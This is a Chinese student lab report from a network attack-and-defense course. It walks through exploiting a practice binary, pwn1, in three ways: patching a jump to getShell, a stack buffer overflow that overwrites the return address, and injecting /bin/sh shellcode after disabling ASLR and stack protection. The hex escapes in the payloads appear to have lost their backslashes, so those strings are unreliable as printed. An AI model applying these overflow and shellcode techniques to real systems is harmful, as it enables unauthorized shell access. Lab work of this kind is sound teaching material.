zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175326李一潇《网络对抗技术》 Exp1 PC平台逆向破解

    2019-2020-2 20175326李一潇《网络对抗技术》 Exp1 PC平台逆向破解

    一、实验内容

    本次实践的对象是一个名为pwn1的linux可执行文件。其中包含一段正常情况不被运行的代码片段,实验就是想办法运行这段代码。

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    二、实验原理

    • linux基本操作:
      管道( | ):用于数据注入文件,是一种最基本的IPC机制,作用于有血缘关系的进程之间,由两个文件描述符引用,一个表示读端,一个表示写端,数据从管道的写端流入管道,从读端流出。
      输入、输出重定向( > >> < ) :
      >:以覆盖的方式将命令的正确输出输出到指定的文件或设备当中。
      >>:以追加方式重定向到文件设备中。
      <:把文件作为命令的输入,例如wc命令时统计行,单词书和字符的。
    • NOP、JNE、JE、JMP、CMP汇编指令的机器码:
      NOP:90(NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。)
      JNE:75(条件转移指令,如果不相等则跳转。)
      JE:74(条件转移指令,如果相等则跳转。)
      CMP:38~3D(比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。)
    • 反汇编与十六进制编程器
      反汇编:把目标代码转为汇编代码的过程,用objdump -d <file(s)>
      十六进制编辑器:用:%!xxd在ASCII码模式和十六进制模式之间转换

    三、实验步骤

    1.手工修改可执行文件,改变程序执行流程

    下载目标文件pwn1,并使用命令objdump -d pwn1 | more进行反汇编

    • 反汇编结果:
      主函数main的起始位置为:0x080484af、foo函数的起始位置为0x08048491、getshell代码段的起始位置为0x0804847d、且主函数中调用函数的指令call 8048491 后的地址为:0x080484ba,并且根据机器指令80484ba+d7ffffff=8048491,刚好是foo函数的起始位置。
      如果我们想让程序跳转到getshell函数的话就要让机器指令执行80484ba+x=804847d,得到补码x为c3ffffff,将其修改即可完成。
    • 修改机器指令
      首先进入用vi进入文件,此时为ASCII码模式;

      再用:%!xxd将文件转换成十六进制模式;

      找到e8 d7修改为e8 c3;


      再次用:%!xxd -r转化为ASCII码模式,并保存退出。
      经过测试,运行正常

    2.利用foo函数的Bof漏洞,触发getShell函数

    首先我们对pwn1的备份pwn2进行gdb调试同时用info r指令查看寄存器的状态(记得通过apt-get install gdb来安装gdb)


    此时,我们发现输入的1234被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖eip的字符替换成getShell的地址;
    于是我们将getShell的地址0x0804847d把后面的数值替换,即是输入11111111222222223333333344444444x7dx84x04x08;
    但是,我们没办法键盘输入x7dx84x04x08这样的16进制值,于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件;

    通过管道符,即命令输入(cat input; cat ) | ./pwn2 将构造的输入注入并运行,得出预期结果

    3.注入Shellcode并执行

    • shellcode就是一段机器指令,目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
      准备工作,我们先安装execstack
    su //进入root
    apt-get install execstack   //安装execstack
    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
    more /proc/sys/kernel/randomize_va_space  //查看随机化是否关闭,如显示0则已关闭,否则未关闭
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
    


    本次攻击采用采用nops+shellcode+retaddr,使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    输入(cat input_shellcode;cat) | ./pwn3注入这段攻击buf;

    在另一个终端中输入ps -ef | grep pwn3找到pwn3的进程号是3666,再用gdb来调试pwn3这个进程;
    之后启动gdb使用attach 3666调试这个进程。

    使用disassemble foo查看到ret的地址是0x080484ae;所以在0x080484ae设置断点,并按c运行;

    我们通过使用info r esp可以观察到0xffffd2cc存放的数据是01020304,那么shellcode地址就是0xffffd390
    修改input_shellcode文件对应代码为:
    perl -e 'print "A" x 32;print "x90xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69 x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    然后使用(cat input_shellcode;cat) | ./pwn3input_shellcode的输入,通过管道符“|”,作为pwn1的输入。

    四、实验心得

    本次实验是网络攻防的第一次实验,我们通过三种不同的方式,对可执行文件进行修改,使其执行不同的功能,在实验过程中学习到了很多知识,反汇编、注入,也温习了以前学习的内容,机器指令、gdb调试,总之实验带给我很大的收获。在实验过程中也遇到了问题,有忘记安装软件,有输错代码,但都在同学的帮助下得到了解决。

    五、思考题

    • 什么是漏洞?漏洞有什么危害?
      答:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。比如这次实验就是利用缓冲区的大小来进行的,漏洞可以说是计算机不完善的地方,安全设计者没有考虑到的地方。
      漏洞会是经济受到损失,安全受到伤害,个人隐私遭到泄露,国家安全受到危害等等。
  • 相关阅读:
    Linux部署Apache ActiveMQ 5.14.1
    数据库iops的理解
    IOPS性能指标
    APK反编译工具与使用方法
    App Inspector-iOS真机
    idea 项目maven无法拉取jar
    adb shell常用命令
    ADB 在APP自动化测试应用汇总
    java调用shell命令并获取执行结果的示例
    分享几个特别实用的网站,分分钟钟提升个人技能
  • 原文地址:https://www.cnblogs.com/lyx-hhhhh/p/12427163.html
Copyright © 2011-2022 走看看